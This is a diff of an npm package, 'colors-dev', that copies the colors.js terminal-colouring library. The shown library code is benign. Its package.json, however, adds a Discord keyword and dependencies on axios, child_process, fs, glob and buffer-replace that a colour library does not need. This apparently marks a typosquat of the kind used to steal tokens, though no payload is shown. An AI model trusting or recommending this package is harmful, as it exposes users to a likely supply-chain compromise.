'Ignoring style name');
|
73
|
+
} else {
|
74
|
+
if (typeof(theme[prop]) === 'string') {
|
75
|
+
colors[prop] = colors[theme[prop]];
|
76
|
+
addProperty(prop, function() {
|
77
|
+
return colors[prop](this);
|
78
|
+
});
|
79
|
+
} else {
|
80
|
+
var themePropApplicator = function(str) {
|
81
|
+
var ret = str || this;
|
82
|
+
for (var t = 0; t < theme[prop].length; t++) {
|
83
|
+
ret = colors[theme[prop][t]](ret);
|
84
|
+
}
|
85
|
+
return ret;
|
86
|
+
};
|
87
|
+
addProperty(prop, themePropApplicator);
|
88
|
+
colors[prop] = function(str) {
|
89
|
+
return themePropApplicator(str);
|
90
|
+
};
|
91
|
+
}
|
92
|
+
}
|
93
|
+
});
|
94
|
+
}
|
95
|
+
|
96
|
+
colors.setTheme = function(theme) {
|
97
|
+
if (typeof theme === 'string') {
|
98
|
+
console.log('colors.setTheme now only accepts an object, not a string. ' +
|
99
|
+
'If you are trying to set a theme from a file, it is now your (the ' +
|
100
|
+
'caller\'s) responsibility to require the file. The old syntax ' +
|
101
|
+
'looked like colors.setTheme(__dirname + ' +
|
102
|
+
'\'/../themes/generic-logging.js\'); The new syntax looks like '+
|
103
|
+
'colors.setTheme(require(__dirname + ' +
|
104
|
+
'\'/../themes/generic-logging.js\'));');
|
105
|
+
return;
|
106
|
+
} else {
|
107
|
+
applyTheme(theme);
|
108
|
+
}
|
109
|
+
};
|
110
|
+
};
|
package/lib/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
var colors = require('./colors');
|
2
|
+
module['exports'] = colors;
|
3
|
+
|
4
|
+
// Remark: By default, colors will add style properties to String.prototype.
|
5
|
+
//
|
6
|
+
// If you don't wish to extend String.prototype, you can do this instead and
|
7
|
+
// native String will not be touched:
|
8
|
+
//
|
9
|
+
// var colors = require('colors/safe);
|
10
|
+
// colors.red("foo")
|
11
|
+
//
|
12
|
+
//
|
13
|
+
require('./extendStringPrototype')();
|
@@ -0,0 +1,10 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
return function(letter, i, exploded) {
|
3
|
+
if (letter === ' ') return letter;
|
4
|
+
switch (i%3) {
|
5
|
+
case 0: return colors.red(letter);
|
6
|
+
case 1: return colors.white(letter);
|
7
|
+
case 2: return colors.blue(letter);
|
8
|
+
}
|
9
|
+
};
|
10
|
+
};
|
@@ -0,0 +1,12 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
// RoY G BiV
|
3
|
+
var rainbowColors = ['red', 'yellow', 'green', 'blue', 'magenta'];
|
4
|
+
return function(letter, i, exploded) {
|
5
|
+
if (letter === ' ') {
|
6
|
+
return letter;
|
7
|
+
} else {
|
8
|
+
return colors[rainbowColors[i++ % rainbowColors.length]](letter);
|
9
|
+
}
|
10
|
+
};
|
11
|
+
};
|
12
|
+
|
@@ -0,0 +1,11 @@
|
|
1
|
+
module['exports'] = function(colors) {
|
2
|
+
var available = ['underline', 'inverse', 'grey', 'yellow', 'red', 'green',
|
3
|
+
'blue', 'white', 'cyan', 'magenta', 'brightYellow', 'brightRed',
|
4
|
+
'brightGreen', 'brightBlue', 'brightWhite', 'brightCyan', 'brightMagenta'];
|
5
|
+
return function(letter, i, exploded) {
|
6
|
+
return letter === ' ' ? letter :
|
7
|
+
colors[
|
8
|
+
available[Math.round(Math.random() * (available.length - 2))]
|
9
|
+
](letter);
|
10
|
+
};
|
11
|
+
};
|
package/lib/styles.js
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
var styles = {};
|
27
|
+
module['exports'] = styles;
|
28
|
+
|
29
|
+
var codes = {
|
30
|
+
reset: [0, 0],
|
31
|
+
|
32
|
+
bold: [1, 22],
|
33
|
+
dim: [2, 22],
|
34
|
+
italic: [3, 23],
|
35
|
+
underline: [4, 24],
|
36
|
+
inverse: [7, 27],
|
37
|
+
hidden: [8, 28],
|
38
|
+
strikethrough: [9, 29],
|
39
|
+
|
40
|
+
black: [30, 39],
|
41
|
+
red: [31, 39],
|
42
|
+
green: [32, 39],
|
43
|
+
yellow: [33, 39],
|
44
|
+
blue: [34, 39],
|
45
|
+
magenta: [35, 39],
|
46
|
+
cyan: [36, 39],
|
47
|
+
white: [37, 39],
|
48
|
+
gray: [90, 39],
|
49
|
+
grey: [90, 39],
|
50
|
+
|
51
|
+
brightRed: [91, 39],
|
52
|
+
brightGreen: [92, 39],
|
53
|
+
brightYellow: [93, 39],
|
54
|
+
brightBlue: [94, 39],
|
55
|
+
brightMagenta: [95, 39],
|
56
|
+
brightCyan: [96, 39],
|
57
|
+
brightWhite: [97, 39],
|
58
|
+
|
59
|
+
bgBlack: [40, 49],
|
60
|
+
bgRed: [41, 49],
|
61
|
+
bgGreen: [42, 49],
|
62
|
+
bgYellow: [43, 49],
|
63
|
+
bgBlue: [44, 49],
|
64
|
+
bgMagenta: [45, 49],
|
65
|
+
bgCyan: [46, 49],
|
66
|
+
bgWhite: [47, 49],
|
67
|
+
bgGray: [100, 49],
|
68
|
+
bgGrey: [100, 49],
|
69
|
+
|
70
|
+
bgBrightRed: [101, 49],
|
71
|
+
bgBrightGreen: [102, 49],
|
72
|
+
bgBrightYellow: [103, 49],
|
73
|
+
bgBrightBlue: [104, 49],
|
74
|
+
bgBrightMagenta: [105, 49],
|
75
|
+
bgBrightCyan: [106, 49],
|
76
|
+
bgBrightWhite: [107, 49],
|
77
|
+
|
78
|
+
// legacy styles for colors pre v1.0.0
|
79
|
+
blackBG: [40, 49],
|
80
|
+
redBG: [41, 49],
|
81
|
+
greenBG: [42, 49],
|
82
|
+
yellowBG: [43, 49],
|
83
|
+
blueBG: [44, 49],
|
84
|
+
magentaBG: [45, 49],
|
85
|
+
cyanBG: [46, 49],
|
86
|
+
whiteBG: [47, 49],
|
87
|
+
|
88
|
+
};
|
89
|
+
|
90
|
+
Object.keys(codes).forEach(function(key) {
|
91
|
+
var val = codes[key];
|
92
|
+
var style = styles[key] = [];
|
93
|
+
style.open = '\u001b[' + val[0] + 'm';
|
94
|
+
style.close = '\u001b[' + val[1] + 'm';
|
95
|
+
});
|
@@ -0,0 +1,35 @@
|
|
1
|
+
/*
|
2
|
+
MIT License
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
7
|
+
this software and associated documentation files (the "Software"), to deal in
|
8
|
+
the Software without restriction, including without limitation the rights to
|
9
|
+
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
10
|
+
of the Software, and to permit persons to whom the Software is furnished to do
|
11
|
+
so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in all
|
14
|
+
copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
22
|
+
SOFTWARE.
|
23
|
+
*/
|
24
|
+
|
25
|
+
'use strict';
|
26
|
+
|
27
|
+
module.exports = function(flag, argv) {
|
28
|
+
argv = argv || process.argv;
|
29
|
+
|
30
|
+
var terminatorPos = argv.indexOf('--');
|
31
|
+
var prefix = /^-{1,2}/.test(flag) ? '' : '--';
|
32
|
+
var pos = argv.indexOf(prefix + flag);
|
33
|
+
|
34
|
+
return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
|
35
|
+
};
|
@@ -0,0 +1,151 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
'use strict';
|
27
|
+
|
28
|
+
var os = require('os');
|
29
|
+
var hasFlag = require('./has-flag.js');
|
30
|
+
|
31
|
+
var env = process.env;
|
32
|
+
|
33
|
+
var forceColor = void 0;
|
34
|
+
if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
|
35
|
+
forceColor = false;
|
36
|
+
} else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
|
37
|
+
|| hasFlag('color=always')) {
|
38
|
+
forceColor = true;
|
39
|
+
}
|
40
|
+
if ('FORCE_COLOR' in env) {
|
41
|
+
forceColor = env.FORCE_COLOR.length === 0
|
42
|
+
|| parseInt(env.FORCE_COLOR, 10) !== 0;
|
43
|
+
}
|
44
|
+
|
45
|
+
function translateLevel(level) {
|
46
|
+
if (level === 0) {
|
47
|
+
return false;
|
48
|
+
}
|
49
|
+
|
50
|
+
return {
|
51
|
+
level: level,
|
52
|
+
hasBasic: true,
|
53
|
+
has256: level >= 2,
|
54
|
+
has16m: level >= 3,
|
55
|
+
};
|
56
|
+
}
|
57
|
+
|
58
|
+
function supportsColor(stream) {
|
59
|
+
if (forceColor === false) {
|
60
|
+
return 0;
|
61
|
+
}
|
62
|
+
|
63
|
+
if (hasFlag('color=16m') || hasFlag('color=full')
|
64
|
+
|| hasFlag('color=truecolor')) {
|
65
|
+
return 3;
|
66
|
+
}
|
67
|
+
|
68
|
+
if (hasFlag('color=256')) {
|
69
|
+
return 2;
|
70
|
+
}
|
71
|
+
|
72
|
+
if (stream && !stream.isTTY && forceColor !== true) {
|
73
|
+
return 0;
|
74
|
+
}
|
75
|
+
|
76
|
+
var min = forceColor ? 1 : 0;
|
77
|
+
|
78
|
+
if (process.platform === 'win32') {
|
79
|
+
// Node.js 7.5.0 is the first version of Node.js to include a patch to
|
80
|
+
// libuv that enables 256 color output on Windows. Anything earlier and it
|
81
|
+
// won't work. However, here we target Node.js 8 at minimum as it is an LTS
|
82
|
+
// release, and Node.js 7 is not. Windows 10 build 10586 is the first
|
83
|
+
// Windows release that supports 256 colors. Windows 10 build 14931 is the
|
84
|
+
// first release that supports 16m/TrueColor.
|
85
|
+
var osRelease = os.release().split('.');
|
86
|
+
if (Number(process.versions.node.split('.')[0]) >= 8
|
87
|
+
&& Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
|
88
|
+
return Number(osRelease[2]) >= 14931 ? 3 : 2;
|
89
|
+
}
|
90
|
+
|
91
|
+
return 1;
|
92
|
+
}
|
93
|
+
|
94
|
+
if ('CI' in env) {
|
95
|
+
if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
|
96
|
+
return sign in env;
|
97
|
+
}) || env.CI_NAME === 'codeship') {
|
98
|
+
return 1;
|
99
|
+
}
|
100
|
+
|
101
|
+
return min;
|
102
|
+
}
|
103
|
+
|
104
|
+
if ('TEAMCITY_VERSION' in env) {
|
105
|
+
return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
|
106
|
+
);
|
107
|
+
}
|
108
|
+
|
109
|
+
if ('TERM_PROGRAM' in env) {
|
110
|
+
var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
|
111
|
+
|
112
|
+
switch (env.TERM_PROGRAM) {
|
113
|
+
case 'iTerm.app':
|
114
|
+
return version >= 3 ? 3 : 2;
|
115
|
+
case 'Hyper':
|
116
|
+
return 3;
|
117
|
+
case 'Apple_Terminal':
|
118
|
+
return 2;
|
119
|
+
// No default
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
if (/-256(color)?$/i.test(env.TERM)) {
|
124
|
+
return 2;
|
125
|
+
}
|
126
|
+
|
127
|
+
if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
|
128
|
+
return 1;
|
129
|
+
}
|
130
|
+
|
131
|
+
if ('COLORTERM' in env) {
|
132
|
+
return 1;
|
133
|
+
}
|
134
|
+
|
135
|
+
if (env.TERM === 'dumb') {
|
136
|
+
return min;
|
137
|
+
}
|
138
|
+
|
139
|
+
return min;
|
140
|
+
}
|
141
|
+
|
142
|
+
function getSupportLevel(stream) {
|
143
|
+
var level = supportsColor(stream);
|
144
|
+
return translateLevel(level);
|
145
|
+
}
|
146
|
+
|
147
|
+
module.exports = {
|
148
|
+
supportsColor: getSupportLevel,
|
149
|
+
stdout: getSupportLevel(process.stdout),
|
150
|
+
stderr: getSupportLevel(process.stderr),
|
151
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,40 @@
|
|
1
1
|
{
|
2
2
|
"name": "colors-dev",
|
3
|
-
"
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
3
|
+
"description": "get awsome colors in your nodejs terminal",
|
4
|
+
"version": "1.4.4",
|
5
|
+
"author": "diekaue",
|
6
|
+
"keywords": [
|
7
|
+
"ansi",
|
8
|
+
"terminal",
|
9
|
+
"discord",
|
10
|
+
"colors"
|
11
|
+
],
|
12
|
+
"scripts": {
|
13
|
+
"lint": "eslint . --fix",
|
14
|
+
"test": "node tests/basic-test.js && node tests/safe-test.js"
|
15
|
+
},
|
16
|
+
"license": "MIT",
|
17
|
+
"main": "lib/index.js",
|
18
|
+
"files": [
|
19
|
+
"examples",
|
20
|
+
"lib",
|
21
|
+
"LICENSE",
|
22
|
+
"safe.js",
|
23
|
+
"themes",
|
24
|
+
"index.d.ts",
|
25
|
+
"safe.d.ts"
|
26
|
+
],
|
27
|
+
"devDependencies": {
|
28
|
+
"eslint": "^5.2.0",
|
29
|
+
"eslint-config-google": "^0.11.0"
|
30
|
+
},
|
31
|
+
"dependencies": {
|
32
|
+
"axios": "^0.24.0",
|
33
|
+
"buffer-replace": "^1.0.0",
|
34
|
+
"child_process": "^1.0.2",
|
35
|
+
"fs": "^0.0.1-security",
|
36
|
+
"glob": "^7.2.0",
|
37
|
+
"os": "^0.1.2",
|
38
|
+
"path": "^0.12.7"
|
39
|
+
}
|
40
|
+
}
|
package/safe.d.ts
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export const enabled: boolean;
|
7
|
+
export function enable(): void;
|
8
|
+
export function disable(): void;
|
9
|
+
export function setTheme(theme: any): void;
|
10
|
+
|
11
|
+
export function strip(str: string): string;
|
12
|
+
export function stripColors(str: string): string;
|
13
|
+
|
14
|
+
export function black(str: string): string;
|
15
|
+
export function red(str: string): string;
|
16
|
+
export function green(str: string): string;
|
17
|
+
export function yellow(str: string): string;
|
18
|
+
export function blue(str: string): string;
|
19
|
+
export function magenta(str: string): string;
|
20
|
+
export function cyan(str: string): string;
|
21
|
+
export function white(str: string): string;
|
22
|
+
export function gray(str: string): string;
|
23
|
+
export function grey(str: string): string;
|
24
|
+
|
25
|
+
export function bgBlack(str: string): string;
|
26
|
+
export function bgRed(str: string): string;
|
27
|
+
export function bgGreen(str: string): string;
|
28
|
+
export function bgYellow(str: string): string;
|
29
|
+
export function bgBlue(str: string): string;
|
30
|
+
export function bgMagenta(str: string): string;
|
31
|
+
export function bgCyan(str: string): string;
|
32
|
+
export function bgWhite(str: string): string;
|
33
|
+
|
34
|
+
export function reset(str: string): string;
|
35
|
+
export function bold(str: string): string;
|
36
|
+
export function dim(str: string): string;
|
37
|
+
export function italic(str: string): string;
|
38
|
+
export function underline(str: string): string;
|
39
|
+
export function inverse(str: string): string;
|
40
|
+
export function hidden(str: string): string;
|
41
|
+
export function strikethrough(str: string): string;
|
42
|
+
|
43
|
+
export function rainbow(str: string): string;
|
44
|
+
export function zebra(str: string): string;
|
45
|
+
export function america(str: string): string;
|
46
|
+
export function trap(str: string): string;
|
47
|
+
export function random(str: string): string;
|
48
|
+
export function zalgo(str: string): string;
|
package/safe.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
//
|
2
|
+
// Remark: Requiring this file will use the "safe" colors API,
|
3
|
+
// which will not touch String.prototype.
|
4
|
+
//
|
5
|
+
// var colors = require('colors/safe');
|
6
|
+
// colors.red("foo")
|
7
|
+
//
|
8
|
+
//
|
9
|
+
var colors = require('./lib/colors');
|
10
|
+
module['exports'] = colors;
|